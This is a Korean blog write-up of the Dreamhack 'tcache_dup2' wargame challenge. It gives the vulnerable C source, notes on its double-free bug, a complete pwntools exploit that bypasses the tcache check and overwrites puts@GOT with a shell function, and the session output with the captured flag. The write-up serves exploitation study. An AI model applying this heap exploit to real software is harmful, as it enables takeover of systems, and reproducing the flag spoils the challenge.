[Dreamhack] tcache_dup2

Sisyphus·2022년 11월 28일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
	size_t size;

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	ptr[idx] = malloc(size);

	if(!ptr[idx])
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size-1);

}

void modify_heap() {
	size_t size, idx;

	printf("idx: ");
	scanf("%ld", &idx);

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	if( size > 0x10 ) 
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size);
}

void delete_heap() {
	size_t idx;

	printf("idx: ");
	scanf("%ld", &idx);
	if( idx >= 7 ) 
		exit(0);

	if( !ptr[idx] ) 
		exit(0);

	free(ptr[idx]);
}

void get_shell() {
	system("/bin/sh");
}

int main() {
	int idx;
	int i = 0;

	initialize();

	while(1) {
		printf("1. Create heap\n");
		printf("2. Modify heap\n");
		printf("3. Delete heap\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				create_heap(i);
				i++;
				break;
			case 2:
				modify_heap();
				break;
			case 3:
				delete_heap();
				break;
			default:
				break;
		}
	}
}
  • 1번을 통해 원하는 크기의 청크를 할당할 수 있습니다.
  • 2번을 이용해서 보호 기법을 우회할 수 있습니다.
  • 3번을 통해 청크를 해제할 수 있는데, 청크를 해제후 초기화하지 않고 있어서 Double Free Bug가 발생합니다.
  • 쉘을 띄워주는 get_shell() 함수가 있습니다.


보호 기법

[*] '/home/ion/security/wargame/dreamhack/pwnable/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary와 NX 보호 기법이 걸려있습니다.



익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 22578)
e = ELF("./tcache_dup2")
libc = ELF("./libc-2.30.so", checksec=False)

#context.log_level = 'debug'

get_shell = e.symbols['get_shell']
puts_got = e.got['puts']


def slog(symbol, addr):
    return success(symbol + ": " + hex(addr))


def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)


def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)


def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))


# Double Free
create(0x10, "dreamhack")
delete(0)

# Bypass the DFB mitigation
modify(0, 0x10, "B"*8 + "\x00")
delete(0)

# Overwrite puts@got -> get_shell
modify(0, 0x10, p64(puts_got))
create(0x10, 'C'*8)
create(0x10, p64(get_shell))

p.interactive()


익스플로잇

ion  ~/security/wargame/dreamhack/pwnable/tcache_dup2  python3 remote.py 
[+] Opening connection to host3.dreamhack.games on port 22578: Done
[*] '/home/ion/security/wargame/dreamhack/pwnable/tcache_dup2/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ 
$ ls
flag
run.sh
tcache_dup2
$ cat flag
DH{308cdf00db6cd93fddf9f27801bba7c9}

0개의 댓글